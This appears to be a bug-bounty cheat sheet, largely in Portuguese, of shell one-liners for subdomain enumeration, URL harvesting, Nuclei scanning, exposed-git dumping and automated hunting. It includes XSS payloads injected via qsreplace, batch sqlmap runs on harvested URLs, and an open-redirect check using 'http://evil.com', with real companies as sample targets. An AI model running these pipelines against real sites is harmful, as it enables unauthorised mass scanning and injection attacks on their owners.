Command tricks

0) dig domain.com +short | while read ip; do curl ipinfo.io/$ip; done

(detectar cloudflare)

dig tripadvisor.com

+short | while read ip; do curl ipinfo.io/$ip; done

1) cat all.txt | gauplus -subs -b png,jpg,gif,jpeg,swf,woff,gif,svg -o allUrls.txt ; cat allUrls.txt | httpx -mc 200,403 -o liveallurls.txt

Primeiramente usamos subdomainer para obter all.txt, o comando para isso:

2) bash subdomainer.sh -t rollbar.com -f true

Bem, Gau é uma ferramenta que significa obter todos os URLs, Gauing basicamente se refere ao processo feito por mim de obter todos os URLs com vários ajustes personalizados que aperfeiçoei durante minha caçada de recompensas.

3) cat all.txt | gauplus -subs -b png,jpg,gif,jpeg,swf,woff,gif,svg -o allUrls.txt ; cat allUrls.txt | httpx -mc 200,403 -o liveallurls.txt

Excluímos coisas que não são realmente importantes, como arquivos de imagem e fonte: Aqui está uma lista inteira que excluímos ao obter o GAUing:

```
png,jpg,gif,jpeg,swf,woff,gif,svg
```

Nuclei

É um scanner automatizado que me trouxe vários bugs por meio da automação. Após executar o subdomainer, execute os nuclei com all.txt localizado dentro da pasta websites, este será gerado automaticamente pelo subdomainer.É um scanner automatizado que me trouxe vários bugs por meio da automação. Após executar o subdomainer, execute os núcleos com all.txt localizado dentro da pasta websites, este será gerado automaticamente pelo subdomainer.

1. **nuclei -t /root/nuclei-templates/ -l all-live.txt -es info -o nucleiall.txt**
   Isso exclui os bugs relacionados a informações e concentra-se apenas na gravidade BAIXA, MÉDIA e ALTA e salva o resultado em nucleiall.txt Funciona? Sim! Meus vários alunos pontuaram inúmeros bugs, o truque é automatizar e não focar nisso. Isso me rendeu vários Hall da Fama, um exemplo recente:

```
cat subrs| httpx -silent | katana -d 5 -silent -em js,jsp,json,php,asp,aspx,xml,txt,db,zip | anew files_directory
```

1. **Gau**
   ```
   printf example.com | gau
   cat domains.txt | gau --threads 5
   gau example.com google.com
   gau --o example-urls.txt example.com
   gau --blacklist png,jpg,gif example.com
   ```
2. **Goop**
   ```
   goop example.com
   ```
3. **echo domain.com | subfinder -silent | xargs -I@ sh -c 'goop @ -f'**
4. **cat subrs| httpx -silent | katana -d 5 -silent -em js,jsp,json,php,asp,aspx,xml,txt,db,zip | anew files_directory**

```
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files
arjun -u url
echo domain | waybackurls | unfurl paths
```

```
echo domain | waybackurls | unfurl keys (params)
echo domains | waybackurls | gf xss | hakcheckurl
echo domains | waybakcurls| getJS
echo domains | subfinder -silent | httpx -silent | katana -silent -d 10 | unfurl keys | uro
```

```
subfinder -d domain.com -silent | httpx -status | gau
subfinder -d domain | httpx -csp-probe -title
```

1. **$ echo domain.com | waybackurls | gf xss | uro | httpx -silent | qsreplace '"><svg onload=confirm(1)>' | airixss - payload "confirm(1)"**
2. **$ cat hakrawler | gf xss | uro | httpx -silent | qsreplace '"><svg onload=confirm(1)>' | airixss - payload "confirm(1)"**

```
$ cat domains.txt | httpx -status | gau
$ cat domains.txt | httpx -status -ports 80,443,8080 -path /admin
$ subfinder -d domain.com -silent | aquatone
$ cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files
$ arjun -u url
```

https://github.com/s0md3v/Arjun

```
$ echo domain | waybackurls | unfurl paths
$ echo domain | waybackurls | unfurl keys
$ echo domains | waybackurls | gf xss | hakcheckurl
$ echo domains | subfinder -silent | httpx -silent | katana -silent -d 10 | unfurl keys | uro
```

https://github.com/projectdiscovery/katanahttps://github.com/tomnomnom/unfurl

xargs (carrega lista para uma tool)

https://linuxhandbook.com/xargs-command/

```
$ xargs -a lista -I@ sh -c 'python3 paramspider.py -d "@"'
$ python3 paramspider.py -d | kxss
$ wfuzz -c -w burp-parameter-name.txt http://domain/index.php?FUZZ=test
$ wfuzz -c -w burp-parameter-name.txt http://domain/index.php?search=FUZZ
```

Subdomain enum

Subdomain enum with JLDC

https://github.com/brunosergi0/curlmeallsubdomains https://github.com/Fadavvi/Sub-Drill/blob/master/Sub-Drill.sh

```
$ curl -s "https://jldc.me/anubis/subdomains/att.com" | grep -Po "((http|https):\/\/)?((\w.-])\.([\w])\.([A-z]))\w+" | anew file"
```

XSS

xss with freq

https://github.com/takshal/freq

```
$ echo domain.com | waybackurls | gf xss | uro | qsreplace '"><img src=x onerror-alert(1);>' | freq | grep -v 'Not'
```

XSS with gau

https://github.com/s0md3v/uro

```
$ echo domain.com | gau | gf xss | uro | httpx -silent | qsreplace '"><svg onload=confirm(1)>' | airixss - payload "confirm(1)" | grep -v 'Not'
$ echo domain.com | waybackurls | gf xss | uro | httpx -silent | qsreplace '"><svg onload=confirm(1)>' | airixss - payload "confirm(1)"
```

find xss with hakrawler

https://github.com/hakluke/hakrawler

```
$ echo domain.com | httpx -silent | hakrawler -subs | grep "=" | qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)" | grep -v 'Not'
```

xss automation

```
$ echo domains-with-params | gxss -p test | dalfox pipe --mining-dict-word arjun/params.txt --skip-bav -o file.txt
$ echo domains | waybackurls | uro | gf xss | dalfox pipe --skip-bav
```

https://github.com/hahwul/dalfoxhttps://github.com/RenwaX23/XSSTRON

SQLi

https://github.com/Findomain/Findomain

```
$ findomain -t domain.com -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1
$ echo domains | httpx -silent | anew | waybackurls | gf sqli >> sqli.txt ; sqlmap -m sqli.txt --batch --random-agent --level 1
```

Open Redirect

https://github.com/tomnomnom/qsreplace

$ waybackurls domain.com | grep -a -i \=http | qsreplace 'http://evil.com' | while read host do;do curl -s -L $host -I | grep "evil.com" && echo -e "$host \033[0;31mVulnerable\n" ;done

Git

cs.github
https://github.blog/2021-12-08-improving-github-code-search/

Git dorker
https://github.com/obheda12/GitDorker

git exposed

$ echo domain.com | subfinder -silent | httpx -silent | anew file
$ echo domain.com | subfinder -silent | xargs -I@ sh -c 'goop @ -f'
https://github.com/arthaud/git-dumperhttps://github.com/nyancrimew/goop

PortScan

https://github.com/j3ssie/sdlookup

```
$ echo domain.com | subfinder -silent | httpx -silent -ip | awk '{print $2}' | tr -d '[]'
| xargs -I@ sh -c 'echo @ | sdlookup -json | python -m json.tool'
```

```
$ echo doamin.com | httpx -silent -ip | awk '{print $2}' | tr -d '[]' | xargs -I@ sh -c 'e
cho @ | sdlookup -json | python -m json.tool'
```

Enum javascript

$ echo tesla.com | gau | subjs

```
$ echo tesla.com | gau | grep -iE '\.js'
$ cat tesla | httpx -status-code -mc 200 -content-type | grep 'application/json'
$ cat tesla | httpx -status-code -mc 200 | anew
$ echo domains | waybakcurls| getJS
```

send notifications to multiple places
https://github.com/projectdiscovery/notifyhttps://crontab-generator.org/

Automation

- https://github.com/KingOfBugbounty/DockerHunt
- https://hub.docker.com/r/mswell/hacktools

```
$ echo domains | gau | hakcheckurl | grep -v '404|999|403|500'
```